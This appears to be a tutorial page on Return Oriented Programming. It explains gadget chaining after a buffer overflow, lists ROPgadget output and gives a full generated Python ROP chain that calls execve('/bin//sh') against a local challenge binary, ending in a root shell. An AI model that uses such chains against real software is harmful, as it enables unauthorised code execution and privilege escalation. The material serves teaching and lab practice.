Return Oriented Programming - ROP
Return Oriented Programming (ROP) is a technique that allows an attacker to execute arbitrary code in a program by chaining together small fragments of code, known as "gadgets", that are already present in the program's memory.
One of the key features of ROP is that it does not require to inject new code into the program's memory.. This makes ROP attacks difficult to detect and prevent, as the attacker is not introducing any new code that can be identified and blocked.
List available gadgets
There is multiple tool that can list available gadget for a binary such as ROPgadget and ropper
$ ROPgadget --binary chall
Gadgets information
============================================================
0x0804912a : adc al, 0x68 ; xor al, 0xc0 ; add al, 8 ; call eax
0x08049052 : adc al, 0xc0 ; add al, 8 ; push 0x10 ; jmp 0x8049020
0x08049042 : adc al, al ; add al, 8 ; push 8 ; jmp 0x8049020
0x08049176 : adc byte ptr [eax + 0x68], dl ; xor al, 0xc0 ; add al, 8 ; call edx
0x08049057 : adc byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8049020
0x08049134 : adc cl, cl ; ret
...
0x0804912c : xor al, 0xc0 ; add al, 8 ; call eax
0x08049179 : xor al, 0xc0 ; add al, 8 ; call edx
0x08049097 : xor byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8049020
0x080492d9 : xor dword ptr [eax], 0xffffffff ; call dword ptr [eax - 0x18]
Unique gadgets found: 33504
Chaining gadgets
When a function ends and calls the RET
instruction, it is actually a POP EIP
that is performed, followed by a JMP EIP
. The POP EIP
takes the value that is on top of the stack and stores it in the EIP
register. Since this value is controled (using a Buffer overflow or format string exploit for example), the JMP EIP
is controled.
So, there is the stack state after a buffer overflow in order to run the rop chain :
address | values
------------+-------------------------------------------------------------------
| +------------------------- Buffer ---------------------------+
0xffffd264: | | 0x41414141 0x41414141 0x41414141 0x41414141 |
| +------------------------------------------------------------+
| +gadget1 addr+ +gadget2 addr+ +gadget2 need+ +gadget3 addr+|
0xffffd274: | | 0x565561dd | | 0xffffd35c | | 0xffffd12c | | 0xffffd12c ||
| +------------+ +------------+ +------------+ +------------+|
... | ...
When the gagdet 1 return, the process will POP EIP
and because there is the next gadget address, the process will chain with it.
Generating ROP chain
There is multiple tool that can create ROP chain that call an execve
with available gadget for a binary such as ROPgadget and ropper
$ ROPgadget --binary chall --ropchain --silent
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x805f0fa mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806573e pop edx ; pop ebx ; pop esi ; ret
[+] Gadget found: 0x80b2166 pop eax ; ret
[+] Gadget found: 0x804fa90 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x804fa90 xor eax, eax ; ret
[+] Gadget found: 0x808b9ba inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x804901e pop ebx ; ret
[+] Gadget found: 0x80abca9 pop ecx ; ret
[+] Gadget found: 0x806573e pop edx ; pop ebx ; pop esi ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x804a792 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b2166) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b2166) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fa90) # xor eax, eax ; ret
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e8060) # @ .data
p += pack('<I', 0x080abca9) # pop ecx ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x080e8060) # padding without overwrite ebx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fa90) # xor eax, eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0804a792) # int 0x80
$ python3 rop.py
[+] Starting local process './chall': pid 236981
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
Resources
Last updated